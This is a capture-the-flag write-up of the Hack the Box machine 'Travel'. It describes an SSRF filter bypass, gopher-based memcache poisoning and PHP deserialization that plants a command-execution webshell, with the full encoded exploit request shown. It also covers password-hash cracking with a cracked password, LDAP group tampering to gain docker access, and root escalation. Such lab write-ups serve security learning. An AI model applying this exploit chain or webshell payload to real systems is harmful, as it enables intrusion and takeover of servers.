Travel was a hard difficulty mahcine of Hack the Box. Here’s my take on solving the challenge.

Travel

TL;DR: Travel was really great box with some advanced web exploitation. I’ll find a virtual subodmain in SSL certificate that contains a stray .git folder. It’ll allow me to reconstruct php files, where I’ll find a SSRF vulnerability. I’ll exploit this vulnerability to inject a PHP object to plant a webshell. With a webshell in place I’ll gain a reverse shell on Docker machine. I’ll find a Wordpress database backup file with password hash. After reversing, the password will allow me to login to SSH as lynik-admin user on host machine. Then, I’ll recover LDAP credentials from hidden files in Home directory. The machine is configured to take users from LDAP database, so LDAP admin access will allow me to add myself to a Docker group, which in turn I’ll exploit to root the box.

User

Recon

Nmap scan reveals a standard webserver with three virtual subdomains:

Main page seems to be a standard landing page with some countdown:

Main page

The blog subdomain is well… a blog. It seems to be running on wordpress:

Blog subdomain

The interesting part of the blog is the Awesome RSS, which looks like some fancy RSS stream render. It’ll come handy later:

Awesome RSS

Blog-dev doesn’t seem to have index page:

Blog-dev subdomain

The directory scan reveals an interesting directory: .git:

Git directory might contain interesting information on developer file and backend code. I’ll use GitTolls to gain as much information as I can from the repo:

Dumping .git repo

The repo contains two PHP files and a readme:

Repo content

The README explains what the code is supposed to be doing. It seems to be a template extension designed to pretty-render rss-feeds. It also reveals where the code files should be stored (which will come handy later).

README.md file

Foothold

First thing to notice is a Debug parameter in the rss_template.php script:

After adding a URL debug parameter to /awesome-rss request an additional comment is displayed. It confirms that this script is indeed used to render page. In addition there seems to be some kind of PHP object serialized:

Debug comment

Function get_feed() uses a library SimplePie to read RSS streams. It also uses memcache to cache them.

After cloning a SimplePie repository I can see that it stores serialized PHP objects in cache:

From the blog-dev repository I also find a TemplateHelper class. It’s a perfect PHP unserialize artifact since it can write an arbitrary file on wakeup:

Putting all above information together I conclude that owerwriting a memcache entry should allow to exploit unsafe PHP object deserialization and therefore write arbitrary file to server by using a TemplateHelper object.

With that in mind I look at the rss_template.php script again. I uses a custom_feed_url GET argument as get_feed argument

Get_feed (as can be seen above) calls an a url_get_contents function. This method is basically a wrapper over command line curl:

It means that I should be able to make arbitrary calls using curl. But not so fast! The url is first filtered using safe function. Here’s how it works:

The function doesn’t allow for any file:// protocol requests. I also won’t allow to inject any interesting parameters into the command.

It also attempts to prevent localhost access but fails at this task. The function only filters out the localhost and 127.0.0.1. Sending payload with addtional zero like 127.00.0.1 will still resolve to the localhost but also will bypass above filter.

With that im mind I’ll use gopher protocol to insert something into memcache. Gopher payloads can be tricky to get right so I’’ll use a generator named Gopherus, available here. First let’s try a simple test payload:

That payload can be sent to the server:

Sending payload

After sending the payload I can check using debug that the memcache was written as expected:

Memcache write confirmation

In order to exploit the php unserialization, I need to know memcache key used by SimplePie. Unfortunately debug only discloses a part of it:

A part of key

The key name seems to be a hash but what is hashed? I tried some obvious choices (like hash of URL cached) but with no luck. Eventually I decide build a simple script that will imitate applications interaction with SimplePie:

The script has no chance to work for a number of reasons (I don’t have any Memcache instances running for one) but it doesn’t matter. I can modify memcache contructor in /library/SimplePie/Memcache.php file to output name of key just before the script crashes:

Now i can run the script. The hack is really dirty, and the script will output a lot of junk. But what matters is highlited, the name of memcache key:

Memcache key

The last part that we need to get the exploit working is the PHP object payload. As stated above I can use TemplateHelper class deserialization for an arbitrary file write. But where can I write to get RCE? The safest bet would be wp-content/uploads.Since it should be both writable and execute PHP files. How to get there? Template Extension’s readme states that it’s script should be planted in the theme directory:

* copy rss_template.php & template.php to `wp-content/themes/twentytwenty`

There should uploads folder should be at the same level as the themes, so the relative path should look like this:

../../uploads/payload.php

With that in mind I can create a script that’ll generate a payload for PHP unserialize to create a simple webshell:

Now I can provide this payload to Gopherus:

Gopherus memcache generation

The result still needs few modifications:

  • Add 0 to address so it looks something like: 127.00.0.1
  • Encode path traversal dots in url (substitute them with %2E)
  • Change Spyd3r string to the Simplepie’s name of memcache entry: xct_4e5612ba079c530a6b1f148c0b352241

Final request should look like this:

GET /awesome-rss/?debug=1&custom_feed_url=gopher://127.00.0.1:11211/_%0d%0aset%20xct_4e5612ba079c530a6b1f148c0b352241%204%200%20443%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:20:%22%00TemplateHelper%00file%22%3Bs:28:%22%2E%2E/%2E%2E/%2E%2E/uploads/payload.php%22%3Bs:20:%22%00TemplateHelper%00data%22%3Bs:316:%22%3B%3Chtml%3E%3Cbody%3E%3Cform%20method%3D%22GET%22%20name%3D%22%3C%3Fphp%20echo%20basename%28%24_SERVER%5B%27PHP_SELF%27%5D%29%3B%20%3F%3E%22%3E%3Cinput%20type%3D%22TEXT%22%20name%3D%22cmd%22%20id%3D%22cmd%22%20size%3D%2280%22%3E%3Cinput%20type%3D%22SUBMIT%22%20value%3D%22Execute%22%3E%3C/form%3E%3Cpre%3E%3C%3Fphp%20%20%20%20if%28isset%28%24_GET%5B%27cmd%27%5D%29%29%7Bsystem%28%24_GET%5B%27cmd%27%5D%29%3B%7D%3F%3E%3C/pre%3E%3C/body%3E%3Cscript%3Edocument.getElementById%28%22cmd%22%29.focus%28%29%3B%3C/script%3E%3C/html%3E%22%3B%7D%0d%0a HTTP/1.1Host: blog.travel.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

After sending above payload, standard request to the /awesome-rss should create a webshell:

Webshell

User

Looking around the system I find a wordpress database backup:

Wordpress backup

Listing the backup reveals a password hash to user lynik-admin:

Lynik-admin hash

The hash can be cracked with hashcat:

# hashcat.exe -m400 -a0 hashes.txt rockyou.txt
-- snip --
$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.:1stepcloser

The password also fits lynik-admin user on SSH, which gives user flag:

User flag

Root

There’s a .ldaprc file in lynik’s home folder:

.ldaprc

The ldap.travel.htb is defined in hosts file:

hosts file

The .viminfo file contains a password to user lynik-admin.travel.htb on LDAP:

LDAP password

Using SSH I can forward access to this LDAP server to my Kali:

# ssh lynik-admin@travel.htb -D 1080

Now I can list LDAP entries:

# proxychains4 ldapsearch -x -o ldif-wrap=no -h 172.20.0.10 -b "dc=travel,dc=htb" -D 'cn=lynik-admin,dc=travel,dc=htb' -W
-- snip --
# travel.htb
dn: dc=travel,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: Travel.HTB
dc: travel
--snip --
# linux, servers, travel.htb
dn: ou=linux,ou=servers,dc=travel,dc=htb
description: Linux Servers
objectClass: organizationalUnit
ou: linux
-- snip --
# jane, users, linux, servers, travel.htb
dn: uid=jane,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: jane
uidNumber: 5005
homeDirectory: /home/jane
givenName: Jane
gidNumber: 5000
sn: Rodriguez
cn: Jane Rodriguez
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash
-- snip --

I seems to be an OpenLDAP instance. If so, I’ll be able to control the user’s access and group membership. I’ll exploit to for privilige escalation.

For some reason setting up password didn’t work for me. But it was possible to set SSH pubic key for a user. Since those accounts don’t have any more priviliges than my current account it doesn’t give me much yet. Fortunately LDAP gives also control over group membership. Adding user to a root group didn’t work but there’s a docker group on the machine:

$ cat /etc/group
root:x:0:
-- snip --
docker:x:117:

With above knowledge i can craft a ldiff file that’ll modify jane user so I’ll be able to access SSH as her with docker access:

dn: uid=jane,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changetype: modify
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKaHUB/NbqgaSrI6orQXxMcbdRnZ1EAzpRBYKp2x1of/DVCnSkyv2sOo5NxRa+g9mBf+PaqbyEanWtuMY2v0rrBr86Q9fHOvYA7S597ElikYf35uHlaq9iBdm4v/swijm4lZofQJT8atgUOv8dZbw2GSsxgjlSnUKeYH31bpVhmsIX660vALgxcN0FUsEuApX7NjycENldmGZ4bcD87IxTGXR6dLgcvMAaaokoMFZVKcuk8nABxvWlUol/Z5uPpQIMBJtPpre5ytxT2GXY3EKskGN/JHH9moV6z36ji2TLJFCVUBGqQrCWIgWq8bEjOpJ1B5507f0RalBUCPLU0yE2Uybhb8eJxbFd7dnDQnwYLwFUSR2YO5k+xFxFJKDReAC+ccSYEjZ/nFCI+E8b8P2xbuJA3Kkf2mpBitCLV6L1kP61oh3nJENT5kNVPscUPCxFUnnr1HN2yLQIbRfIB5sVtG5J3FSaA+SbEJ2CpTxTwJQ/ft7zF8Cjr9eqAIIiW1TNzPgYWRsE1HIXr3HVBA6eEyLpQLf6/dsoL6I/jFn1s03btvaunkX+8FmW8BNEnEIOxr5F/ZYhFAGooYjfXPa1mcdU2S7Cgg1VVZqsss0IF2ejuawILPAIf1Y7agIHEckSWdKEHZX2mINm1IyDBIZvO7CevbDT8aIL+zZa8zDjRw== tellico@htb
-
replace: gidNumber
gidNumber: 117

Now I can edit the LDAP entry and access machine as Jane:

Access as Jane

With docker group I can easily mount entire filesystem with root access. First I’ll need to find any docker image:

List of docker images

Now I can user any of above images to mount the filesystem as root and grab the flag:

Root flag